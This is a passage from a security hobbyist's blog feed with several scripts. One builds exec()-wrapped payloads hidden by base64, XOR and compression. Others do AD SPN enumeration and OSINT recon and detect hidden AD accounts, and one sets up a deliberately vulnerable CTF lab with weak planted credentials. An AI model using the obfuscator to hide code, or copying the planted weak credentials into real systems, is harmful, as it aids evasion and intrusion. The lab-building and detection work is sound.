encodedInfo = base64.b64encode(zlib.compress(i.encode("utf-8"), int(compressionLevel)))
footerInfo = '");y=zlib.decompress(z);exec(y)'
outputInfo = headerInfo + str(encodedInfo, "utf-8") + footerInfo
return outputInfo
def applyBZ2(i):
print("bz2 Compress the Information")
compressionLevel = input("Select compression level (1-9): ")
headerInfo = '#!/usr/bin/python3\n'
headerInfo += 'import bz2, base64;w=base64.b64decode("'
encodedInfo = base64.b64encode(bz2.compress(i.encode("utf-8"), int(compressionLevel)))
footerInfo = '");r=bz2.decompress(w);exec(r)'
outputInfo = headerInfo + str(encodedInfo, "utf-8") + footerInfo
return outputInfo
def applyXOR(i):
print("XOR Information")
hexValue = input("XOR INT Value: ")
headerInfo = '#!/usr/bin/python3\n'
headerInfo += 'import base64;j=bytearray(base64.b64decode("'
bArray = bytearray(i.encode("utf-8"))
for b in range(len(bArray)):
bArray[b] ^= int(hexValue)
encodedInfo = base64.b64encode(bArray)
footerInfo = '"));\n'
footerInfo += 'for c in range(len(j)): j[c] ^= ' + hexValue + '\n'
footerInfo += 'exec(str(j, "utf-8"))'
outputInfo = headerInfo + str(encodedInfo, "utf-8") + footerInfo
return outputInfo
def executeRecipe(r):
outputPython = "outFile.py"
print
filename = input("Filename to apply recipe: ")
print
info = ''
f = open(filename, "r")
for line in f:
if '#!/usr/bin/python3' not in line:
info += line
f.close()
for recipe in r:
if recipe == "b64":
outputRecipe = applyb64(info)
info = outputRecipe
elif recipe == "XOR":
outputRecipe = applyXOR(info)
info = outputRecipe
elif recipe == "zlib":
outputRecipe = applyZLIB(info)
info = outputRecipe
elif recipe == "bz2":
outputRecipe = applyBZ2(info)
info = outputRecipe
f = open(outputPython, "w")
f.write(outputRecipe)
f.close()
def main():
recipes = []
selection = 'a'
print
print("Build a Encoded/Compressed File from a Recipe you Build")
while selection != 'q' and selection != 'Q':
print("Select which task to fulfill:")
print("1. Base64 Encode")
print("2. XOR")
print("3. zlib Compress")
print("4. bz2 Compress")
print
print("D. Display Recipe")
print("E. Execute Recipe")
print("Q. Quit")
selection = input("> ")
if selection == '1':
print
print("base64")
recipes.append("b64")
print
elif selection == '2':
print
print("XOR")
recipes.append("XOR")
print
elif selection == '3':
print
print("zlib")
recipes.append("zlib")
print
elif selection == '4':
print
print("bz2")
recipes.append("bz2")
print
elif selection == "D" or selection == "d":
print
print("Recipe:")
for recipe in recipes:
print(recipe)
print
elif selection == "E" or selection == "e":
print
print("Execute the Recipe")
executeRecipe(recipes)
print
recipes = []
if __name__ == "__main__":
main()
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-57788128307630502012020-05-21T22:35:00.003-06:002020-05-21T22:35:26.874-06:00Create the Base for a Word SearchThe below script was built to generate random characters from the alphabet. The result can be used to create a word search. I ultimately placed the results in Excel and then over-layed the word search.<br />
<br />
<br />
<pre>#!/usr/bin/python3
import random
charArray = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
charStr = ''
for i in range(1,50):
for j in range(1,50):
charStr = charStr + charArray[random.randint(0,29)] + ","
print(charStr[:-1])
charStr = ''
</pre>
thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-21958501899597296022020-05-11T18:11:00.003-06:002020-05-15T22:33:13.886-06:00List of Service Principal Names (SPNs) amongst AD Users<pre style="text-align: left;">Here is a simple powershell script to list the service principal names <br />among user accounts in a Windows domain. Understanding why the SPNs <br />exist and how they could be abused is important.
$info = Get-ADUser -Filter * -Properties ServicePrincipalNames
ForEach ($user in $info) {
$samAccountName = $user.SamAccountName
If ($user.ServicePrincipalNames -ne $null) {
ForEach ($spn in $user.ServicePrincipalNames) {
"$($samAccountName) $spn"
}
}
} </pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-17038547918128299112020-05-09T16:16:00.002-06:002020-05-09T16:16:33.159-06:00Ansible Playbook for Installing Vectr.io<div>Recently, I was introduced to Ansible and Vectr.io. I chose to create a playbook to install Vectr.io on Ubuntu 18.04. I also created a playbook to install docker. Below are the playbooks that I created, you will need to modify for your environment. <br /></div><div><br /></div><div><br /></div><div><b><font size="4">Docker Install Playbook</font></b><br /></div><div><br /></div><div><pre style="text-align: left;">---<br />- name: This playbook adds the docker packages if necessary to Ubuntu 18.04 nd 20.04<br /> # No docker repo for 20.04 of focal fosse - Using docker-ce from 18.04<br /> hosts: all<br /> become: 'yes'<br /><br /> tasks:<br /> - name: Add Docker GPG apt Key<br /> apt_key:<br /> url: https://download.docker.com/linux/ubuntu/gpg<br /> state: present<br /><br /> - name: Install Docker Dependencies<br /> apt:<br /> pkg:<br /> - curl<br /> - unzip<br /> - apt-transport-https<br /> - ca-certificates<br /> - software-properties-common<br /> - python3-pip<br /> - virtualenv<br /> - python3-setuptools<br /> update_cache: yes<br /> state: latest<br /> <br /> - name: Add Docker Repository<br /> raw: add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"<br /> args:<br /> executable: /bin/bash<br /><br /> - name: Install Docker Packages<br /> apt:<br /> pkg:<br /> - docker-ce<br /> - docker-ce-cli<br /> - docker-compose<br /> update_cache: yes<br /> state: latest<br /> <br /> - name: Install Docker Module for Python<br /> pip:<br /> name: docker<br /><br /> - name: Enable the docker service (May not be necessary)<br /> systemd:<br /> name: docker<br /> enabled: yes<br /> masked: no<br /><br /> - name: Verify the docker service is running<br /> systemd:<br /> name: docker<br /> state: started<br /><br /><br /><b><font size="4">Vectr.io Install Playbook</font></b><br /><br />---<br />- name: This playbook installs Vectr through Docker <br /> # <b>https://docs.vectr.io/Installation/</b><br /> # Dependent on docker being installed on Ubuntu<br /> # apt install python-pip python-dev if not installed<br /> # pip install setuptools on ansible server<br /> # Dependent on ansible server having docker compose installed pip install docker-compose<br /> # You will get a CAS error until you set your /etc/hosts file to the IP hosting the docker container with vectr.local <br /> # Connect with https://vectr.local:8081<br /> hosts: all<br /> # Comment the below line if you have root privileges<br /> become: 'yes'<br /><br /> vars:<br /> currentUser: "thepcn3rd"<br /> VECTR_HOSTNAME: "vectr.local"<br /> VECTR_DATA_KEY: "SomethingS1mple0"<br /> CAS_ENCRYPT_MONGO_KEY: "SomethingS1mpl30"<br /> MONGO_INITDB_ROOT_PASSWORD: "Someth1ngSimple"<br /><br /> tasks:<br /> - name: Add /opt/vectr Directory<br /> file: <br /> path: /opt/vectr<br /> state: directory<br /> owner: "{{ currentUser }}"<br /> group: "{{ currentUser }}"<br /> mode: '0755'<br /><br /> - name: Download Vectr release 5.5.7 into /opt/vectr Directory<br /> get_url:<br /> url: https://github.com/SecurityRiskAdvisors/VECTR/releases/download/ce-5.5.7/sra-vectr-runtime-5.5.7-ce.zip<br /> dest: /opt/vectr/vectr.zip<br /><br /> - name: Change permissions on the Downloaded File<br /> file:<br /> path: /opt/vectr/vectr.zip<br /> owner: "{{ currentUser }}"<br /> group: "{{ currentUser }}"<br /> mode: '0644'<br /><br /> - name: Extract vectr.zip file<br /> unarchive:<br /> src: /opt/vectr/vectr.zip<br /> dest: /opt/vectr<br /> remote_src: yes<br /> <br /> - name: Change permissions on Extracted Files<br /> file:<br /> path: /opt/vectr<br /> state: directory<br /> recurse: yes<br /> owner: "{{ currentUser }}"<br /> group: "{{ currentUser }}"<br /> mode: '0644'<br /><br /> - name: Change permissions on Directory<br /> file:<br /> path: /opt/vectr<br /> state: directory<br /> owner: "{{ currentUser }}"<br /> group: "{{ currentUser }}"<br /> mode: '0755'<br /><br /><br /> - name: Change .env file for Vectr prior to deployment VECTR_HOSTNAME<br /> replace:<br /> path: /opt/vectr/.env<br /> regexp: '^VECTR_HOSTNAME=.+'<br /> replace: 'VECTR_HOSTNAME={{ VECTR_HOSTNAME }}'<br /> <br /> - name: Change .env file for Vectr prior to deployment VECTR_DATA_KEY<br /> replace:<br /> path: /opt/vectr/.env<br /> regexp: '^VECTR_DATA_KEY=.+'<br /> replace: 'VECTR_DATA_KEY={{ VECTR_DATA_KEY }}'<br /><br /> - name: Change .env file for Vectr prior to deployment CAS_ENCRYPT_MONGO_KEY<br /> replace:<br /> path: /opt/vectr/.env<br /> regexp: '^CAS_ENCRYPT_MONGO_KEY=.+'<br /> replace: 'CAS_ENCRYPT_MONGO_KEY={{ CAS_ENCRYPT_MONGO_KEY }}'<br /> <br /> - name: Change .env file for Vectr prior to deployment MONGO_INITDB_ROOT_PASSWORD<br /> replace:<br /> path: /opt/vectr/.env<br /> regexp: '^MONGO_INITDB_ROOT_PASSWORD=.+'<br /> replace: 'MONGO_INITDB_ROOT_PASSWORD={{ MONGO_INITDB_ROOT_PASSWORD }}'<br /><br /> - name: Docker compose the vectr files we have prepared<br /> raw: "docker-compose -f /opt/vectr/docker-compose.yml up -d"<br /> args:<br /> executable: /bin/bash<b><br /></b><br /><br /><br /><strong><br /></strong></pre></div>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-32650398514026759722020-04-30T18:43:00.003-06:002020-05-04T09:17:18.073-06:00Hidden Accounts in Active DirectoryWhile taking a SANS course we went through an exercise to learn how adversary's hide accounts through modifying the access controls. During the class I created this script to iterate through the access controls placed on the objects in Active Directory and compares it to what is seen with the commands of Get-ADUser, Get-ADComputer and Get-ADGroup. This script identified the hidden account.<br />
<br />
Below is the powershell for the script. Use with caution, only used in a test environment.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
# Script built to detect suspicous entries in AD access control lists
# A paper written by Will Schroeder and Lee Christensen about "An Ace up the Sleeve" highlights hidding objects with denied privileges
# This script analyzes what is in the access control lists and then finds objects that are not listed in Get-ADUsers, Get-ADComputers and Get-ADGroups
# Version 0.2
# Fixes - In the test lab I could go off of the .Name object of an Account, Group or Computer. In a production environment the SamAccountName is necessary
# - Removed the compList because the SamAccountName of a computer has a $
# - The list of computers changed in the evaluation from compList to computerList due to the change above
Import-Module ActiveDirectory
# Pull in the list of user accounts output from Get-ADUser
$userList = (Get-ADUser -Filter *).SamAccountName
# Pull in the list of groups output from Get-ADGroup
$groupList = (Get-ADGroup -Filter *).SamAccountName
# Pull in the list of computers from Get-ADComputer
$computerList = (Get-ADComputer -Filter *).SamAccountName
$domain = $env:USERDOMAIN
# Capture interesting accounts
$interestingAccounts = @()
# Initial concept was to only look at the Organizational Units - Expanded to All Objects in the Domain
#$OUs = Get-ChildItem -Recurse -LiteralPath "AD:\DC=sec699-32,DC=lab" | Where ObjectClass -eq organizationalUnit
# Pull all of the Objects in the Domain into a Variable
$adObjects = Get-ChildItem -Recurse -LiteralPath "AD:\DC=sec699-32,DC=lab"
""
"Display Suspicious Access Privileges of an Object that is not Listed by Get-ADUser, Get-ADComputer or Get-ADGroup"
ForEach ($object in $adObjects) {
# Pull the access of each object
$accessRights = (Get-ACL -Path $object.PSpath).Access
# Iterate over each Access Right
ForEach ($accessRight in $accessRights) {
# If the IdentityReference in the Access Right contains the domain continue
If ($accessRight.IdentityReference -like "*$($domain)*") {
# Split the domain name from the account, group or computername
$domainName, $identity = $accessRight.IdentityReference.ToString().Split("\")
# Check to see if the account, group or computername exists in the lists pulled above from Get-ADUser, Get-ADComputer and Get-ADGroup
If (($identity -notin $userList) -and ($identity -notin $groupList) -and ($identity -notin $computerList)) {
# If the identity does not exist add it to the interesting accounts array
If ($identity -notin $interestingAccounts) {
$interestingAccounts += $identity
}
# Display the AD Object that is Interesting and that contains an identity that does not exist by default viewing
# Uncomment the below line to see the verbose output of each object
#
#"ADObject:$($object.name) ObjectClass:$($object.ObjectClass) DN:$($object.DistinguishedName) Account:$($accessRight.IdentityReference) Access:$($accessRight.AccessControlType) $($accessRight.ActiveDirectoryRights)"
}
}
}
}
"`n`n"
"Interesting Accounts, Groups or Computers Identified"
$interestingAccounts
</code>
</pre>
thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-9341228928341429842019-09-28T18:32:00.003-06:002019-09-28T18:32:35.764-06:00Script for /usr/bin/theharvesterWrote this quick script to run theharvester:<br />
<br />
#!/bin/bash<br /># Script runs the harvester<br />dns="domain.local"<br />sources="baidu bing crtsh censys cymon dogpile google googleCSE virustotal netcraft linkedin pgp twitter vhost yahoo"<br />numbResults="100"<br /><br />for i in $sources; do<br /> theharvester -d $dns -l $numbResults -b $i -h -f mb-$i<br />done <br />
<br />
<br />thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-41580329434095524662019-03-26T21:18:00.002-06:002019-03-26T21:18:21.330-06:00Is rockyou password list in the Have I Been Pwned SHA1 hash list?A couple of posts ago I wrote a tool in python to evaluate a password list for character sets that it uses and length. While I was working on it, I wondered if the rockyou password list is in the SHA1 hash collection that you can download from Have I Been Pwned (HIBP).<br />
<br />
Below is a bash script that I wrote. To accomplish this I created a file with all of the SHA1 hashes for the rockyou password list. Then I split the rockyou hash list into files that contained 3000 hashes in each file. Then using egrep searched for the hashes in the HIBP list. The hashes that were found were then saved in a file called zlist.txt.<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/bin/bash
# Goal was to evaluate the cross-over between the rockyou list and the haveibeenpwned list as of 3/20/2019
# The rockyou list had to be converted from plain-text passwords to an upper-case SHA-1
# To accomplish the above task created a hashRockYou.py file and saved output as rockyouHashes.txt
# split -l 3000 rockyouHashes.txt - This can add 3000 hashes to a egrep search
# - Takes about 50 seconds per file...
# -
# Takes the list of files that are split out and creates an array of files
listFiles=(`ls -lha | awk '{print $9 " " }' | tr -d '\n' | sed 's/^.*xaa\s/xaa /'`)
# Iterates through the list
for i in ${listFiles[@]}
do
# Outputs the date to verify the script continues to run
date
# Puts the 3000 hashes in a regular expression that can be put in egrep
regex=`cat $i | sed 's/^/|/' | tr -d '\n' | sed 's/|/\^(?:/1' | sed 's/$/)/'`
#echo "egrep -e \"$regex\" ../pwned-hashes-only.txt"
# Run egrep with the generated regex of hashes against the haveibeenpwned list of SHA1
# Create a file of the matches called zlist.txt
egrep -e "$regex" ../pwned-hashes-only.txt >> zlist.txt
done
</code></pre>
<br />
HIBP SHA1 List (22GB) contains 551,509,767<br />
Rockyou SHA1 List (561MB) contains 14,344,391<br />
Rockyou SHA1 found in HIBP list 14,333,886<br />
Number of passwords not found in HIBP is 10,505<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioIRX-PRej9A1X5hrzk8WWocV8w0wOPhxB1-b0ItFc3mKztaYLxLvXkR_nudImtVxb-BRxYal0_VtXKo0phE8RU6HdjS-Lukrvjh8kdclIxkXfYK3C7vfXlWZ-qdtgBj0hANUw6amqDQ8/s1600/HIBP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="747" data-original-width="1374" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioIRX-PRej9A1X5hrzk8WWocV8w0wOPhxB1-b0ItFc3mKztaYLxLvXkR_nudImtVxb-BRxYal0_VtXKo0phE8RU6HdjS-Lukrvjh8kdclIxkXfYK3C7vfXlWZ-qdtgBj0hANUw6amqDQ8/s640/HIBP.png" width="640" /></a></div>
<br />thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-64583961963428181112019-03-18T17:15:00.001-06:002019-03-18T17:15:09.006-06:00Docker Scripts used to create and setup myhouse7 Vulenrable VMFor the myhouse7 Vulnerable VM I created a script to automate the setup of docker, setup of pre-setup docker images, and the setup of the images on Ubuntu. This was to maintain the size of the VM that had to be downloaded to a minimum size. Here is the <a href="https://thepcn3rd.blogspot.com/2018/11/myhouse7-vulnerable-virtual-machine.html" target="_blank">link</a> to the myhouse7 Vulnerable VM post.<br />
<br />
I thought I would publish the scripta because they can be reused to build a small network in docker. The below script references files that would not exist if you ran the script after downloading it.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/bin/bash
# Files that need to be copied over...
# buildDockerNet.sh # This bash script
# checkHealth.py # Checks the health of the virtual machines
# dockerImages.tar.gz # Compressed tar's of the images that are used
# vol_db1srv.zip # /var/lib/mysql volume with the databases setup
# Create a /etc/rc.local
# #!/bin/bash
# /home/bob/setup/buildDockerNet.sh
# exit 0
# Setup the file as executable
# chmod 744 /etc/rc.local
# systemctl enable rc-local.service
# reboot and it should work...
# Built a python script called checkHealth.py on the host to check the health of the virtual machines. Use the results to recreate the index.php on the host. Host needs apache2 installed and running
# The health check page has 2 more flags in the page itself...
# The host has a user account called "admin" with the password of "admin"
# The purpose of this account is to allow the student to check the IP Address of the system
# Assumes that in bob's home directory the setup folder exists and this script is run from inside...
path='/home/bob/setup'
### -------- Create the config directory if it does not exist ------------- ###
if [ ! -d $path/config ]
then
mkdir $path/config
fi
### ---- Setup docker if it is not installed ---- ####
if [ ! -e $path/config/installDocker.txt ]
then
echo ""
echo "Installing Docker CE"
echo "Expects that bob is the name of the user logged in..."
# Installs the apt key for Docker
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# Setup the repo
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# Install docker packages
# Install unzip to extract the volumes
# Install apache2 to run a local site on port 20000
apt-get --assume-yes install docker-ce unzip apache2
# Test if docker is working
docker run hello-world
# Setup the bob user to run the docker command without sudo
usermod -aG docker bob
touch $path/config/installDocker.txt
# Enable and Start the docker daemon
systemctl enable docker
systemctl start docker
echo ""
echo "Docker successfully installed... You should restart the VM..."
else
echo ""
echo "Docker is currently installed and working..."
echo ""
fi
### --- Setup images for use by the computer --- ###
# /config/setupImages.txt
# Untar and gzip them
# docker load ...
# setup the volume for db1srv ... probably after it is created
### ---- Extract and load the Images ---- ###
if [ ! -e $path/config/setupImages.txt ] && [ -e $path/config/installDocker.txt ]
then
# Extract the .tar.gz
echo ""
echo "Extracting the images..."
tar xvzf $path/dockerImages.tar.gz -C $path
# Load the Images
echo ""
echo "Loading the extracted images..."
docker load -i $path/d-anchor-cmsv12.tar
docker load -i $path/d-apache2-backupv4.tar
docker load -i $path/d-initial.tar
docker load -i $path/d-nikto-potv2.tar
docker load -i $path/d-rsyslogv6.tar
docker load -i $path/d-sambav2.tar
docker load -i $path/mariadbv9.tar
rm -f $path/d-anchor-cmsv12.tar
rm -f $path/d-apache2-backupv4.tar
rm -f $path/d-initial.tar
rm -f $path/d-nikto-potv2.tar
rm -f $path/dockerImages.tar.gz
rm -f $path/d-rsyslogv6.tar
rm -f $path/d-sambav2.tar
rm -f $path/mariadbv9.tar
touch $path/config/setupImages.txt
elif [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Docker images are extracted and setup..."
echo ""
else
echo ""
echo "Something is not setup correctly with docker images..."
echo ""
fi
### ---- Setup the docker networks --- ###
if [ ! -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Configuring Docker Networks"
docker network create --driver=bridge net10 --subnet=172.31.10.0/24
docker network create --driver=bridge net20 --subnet=172.31.20.0/24
docker network create --driver=bridge net30 --subnet=172.31.30.0/24
docker network create --driver=bridge net200 --subnet=172.31.200.0/24
touch $path/config/networks.txt
elif [ -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Docker networks are already setup..."
echo ""
else
echo ""
echo "Something is not setup correctly with docker networks..."
echo ""
fi
### ---- Setup the docker volumes --- ###
if [ ! -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Configuring Docker Volumes"
docker volume create rsyslog_var_log # Creates a volume to retain the log information
docker volume create db1srv_var_lib_mysql # Retains the databases created or updated
sudo unzip $path/vol_db1srv.zip -d /
touch $path/config/volumes.txt
elif [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Docker volumes are already setup..."
echo ""
else
echo ""
echo "Something is not setup correctly with docker volumes..."
echo ""
fi
### ----- Setup the local server with the flags and other items ---- ###
if [ ! -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Configuring the Host"
# Changes the port on the apache2 server to port 20000
sed -i 's/Listen 80/Listen 20000/' /etc/apache2/ports.conf
systemctl restart apache2
# Useraccount admin:admin is created for reference if necessary for pulling the IP Address.
useradd admin
sed -i 's/admin:!:.*/admin:$6$IWjBaf8R$oq9Wz2OjIJPwzOzzU7FNp7EtBvPIhwEA5gZMQHt05cgAYFovOzskRouSp.5QWzgnKNlpPWcYkJeW5sb6M4Sx21:17834:0:99999:7:::/' /etc/shadow
rm -f $path/vol_db1srv.zip
# Setup crontab with the scheduled health check
echo "15/* * * * * root /home/bob/setup/checkHealth.py &> /dev/null" >> /etc/crontab
touch $path/config/host.txt
elif [ -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "The host has already been configured..."
echo ""
else
echo ""
echo "Something is not setup correctly with the host..."
echo ""
fi
## Exit the bash script if something is not setup...
if [ ! -e $path/config/networks.txt ] || [ ! -e $path/config/volumes.txt ] || [ ! -e $path/config/installDocker.txt ] || [ ! -e $path/config/setupImages.txt ]
then
exit 0
fi
#### ---------------- Kill any docker images that may still be running --------------------- ####
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
docker stop $i &> /dev/null # Remove the web1srv container so it can be recreated
done
#### ---------------- Remove Stopped Containers - Clean-up ----- ####
docker ps -aq --no-trunc -f status=exited | xargs docker rm &> /dev/null
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
docker rm /$i &> /dev/null # Remove the web1srv container so it can be recreated
done
echo ""
echo "Launching the containers in the DMZ"
echo ""
#### ---------------- Launch in net10 DMZ ---------------- ####
# 172.31.10.17 is meant to be a web server that through the container can connect to
# the database server at 172.31.20.10 - this container will create probably a 172.31.20.2 interface on the 20 subnet
# apt install php-gd php-mbstring php-mysql - Requirements for the install...
# anchor cms does not like being in a sub-folder under the root web folder
# Blog username: admin Password: anchor
docker create -it --network=net10 --name web1srv -p 8115:80 --ip=172.31.10.17 d-anchor-cmsv12 bash
docker network connect --ip=172.31.20.27 net20 web1srv
docker start web1srv
sleep 10s
docker exec -d web1srv /etc/init.d/apache2 start
docker exec -d web1srv /etc/init.d/rsyslog start
# Setup logging of apache2 access.log to go to the rsyslog server...
# 172.31.10.22 - 3 flags
# nikto honeypot - fake phpmyadmin server
# Creation of the next 2 flags
# 1. Scanned server with nikto
# 2. cat access.log | grep "GET" | sed -e 's/.*\s"GET\s\///' | sed 's/\s.*//' | grep -v "?" | grep -v -e "/" -e "+" -e "=" -e "%" -e "_" -e "~" -e "-" -e "\\" > /var/www/html/fileList.txt
# 3. cat fileList.txt | sed 's/^/touch /' > script.sh
# 4. Ran the script in /var/www/html
# 5. Then added the below files manually
docker run -tid --network=net10 --name blue -p 8112:80 -p 443:80 -p 25:80 -p 8008:80 -p 10000:80 --ip=172.31.10.22 d-nikto-potv2 bash
sleep 10s
docker exec -d blue /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d blue /etc/init.d/rsyslog start
# Setup logging for the apache2 access.log
# 172.31.10.25 - 3 flags
docker create -it --network=net10 --name red -p 8111:80 --ip=172.31.10.25 d-apache2-backupv4 bash # nmap by default does not detect port 8111
docker network connect --ip=172.31.200.85 net200 red
docker start red
sleep 10s
docker exec -d red /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d red /etc/init.d/rsyslog start
# Setup logging...
echo ""
echo "Launching the DB Servers"
echo ""
#### ----------------- Launch in net20 DB-Servers---------------- ####
# MySQL Server for the Anchor CMS and Timeclock Software 0.99 (exploit-db)
# The timeclock software I rewrote the MySQL usage due to it being out-of-date... Would not recommend...
# Make sure you backup the volume...... :)
# docker volume create db1srv_var_lib_mysql - retains the databases created or updated
# Setup logging to 172.31.20.194 for syslog
# Setup logging to 172.31.20.194 for mysql - Customized the /etc/rsyslog.conf file to log the specific /var/log/mysql-syslog.log
docker run -d --network=net20 --name db1srv --ip=172.31.20.10 -e MYSQL_ROOT_PASSWORD=anchordb -v db1srv_var_lib_mysql:/var/lib/mysql mariadbv9
docker exec -d db1srv rm /run/rsyslogd.pid
sleep 10s
docker exec -d db1srv /etc/init.d/rsyslog start
# After it loads the 1st time check docker logs db1srv | grep GENERATE for the new root password
# Then docker exec -it db1srv mysql -uroot -p # and login to the database with the new root password
# Then you can ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';
docker run -tid --network=net20 --name utah --ip=172.31.20.44 d-initial bash
echo ""
echo "Launching the Administrators subnet"
echo ""
#### ----------------- Launch in net 30 Administrator Network -------------- ####
# Setup the users heather and larryjr that have access to the fileshares - Passwords also used on the timeclock
docker create -it --network=net30 --name two --ip=172.31.30.24 d-sambav2 bash
docker network connect --ip=172.31.200.204 net200 two
docker start two
docker exec -d two /etc/init.d/smbd start
echo ""
echo "Launching the Monitoring Subnet"
echo ""
#### ----------------- Launch in net 200 Monitoring Workstation Network -------------- ####
# Syslog Server
#docker volume create rsyslog_var_log - Creates a volume to retain the log information
# Not important to retain the rsyslog_var_log volume
# SSH is listening on port 24 on the 172.31.20.194 interface only
# Set root password to be anchor
docker create -it --network=net200 --name africa --ip=172.31.200.194 -v rsyslog_var_log:/var/log d-rsyslogv6 bash
docker network connect --ip=172.31.10.194 net10 africa
docker network connect --ip=172.31.20.194 net20 africa
# db1srv is logging syslog and mysql queries to the server...
docker network connect --ip=172.31.30.194 net30 africa
docker start africa
sleep 10s
docker exec -d africa /etc/init.d/rsyslog start # Starts the rsyslog server listening on UDP and TCP 514
docker exec -d africa /etc/init.d/ssh start # Starts the ssh server for connections
#
# Run the checkhealth script at the end of this script...
sleep 60s
$path/checkHealth.py
</code></pre>
<br />
Below is a script that I built in python to maintain the docker environment and verify everything is running. Often times, a daemon would not be running.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;">
#!/usr/bin/python3
# Executes as a scheduled cronjob every 15 minutes...
import subprocess
f = open('/var/www/html/index.html', 'w')
f.write('<html><body>')
f.write('Health Check for Docker Containers
')
f.write('Refreshed every 15 mintes...
')
f.write('Search for flags on the system. Here is your first of 20: {{tryharder:1}}')
f.write('<input type="hidden" value="{{tryharder:007}}" />')
f.write('<hr />
')
### Check the apache2 service of web1srv to see if it is running...
for apacheServer in ['web1srv', 'blue', 'red']:
result = subprocess.run(['docker', 'exec', apacheServer, '/etc/init.d/apache2', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* apache2 is running" == result:
f.write('
')
f.write(apacheServer + ' apache2 is Online and Working')
f.write('
')
else:
f.write('
')
f.write(apacheServer + ' apache2 is Broken and Not Working - Trying to start the apache2 server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', apacheServer, '/etc/init.d/apache2', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* apache2 is running" == result:
f.write('
')
f.write(apacheServer + ' apache2 is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
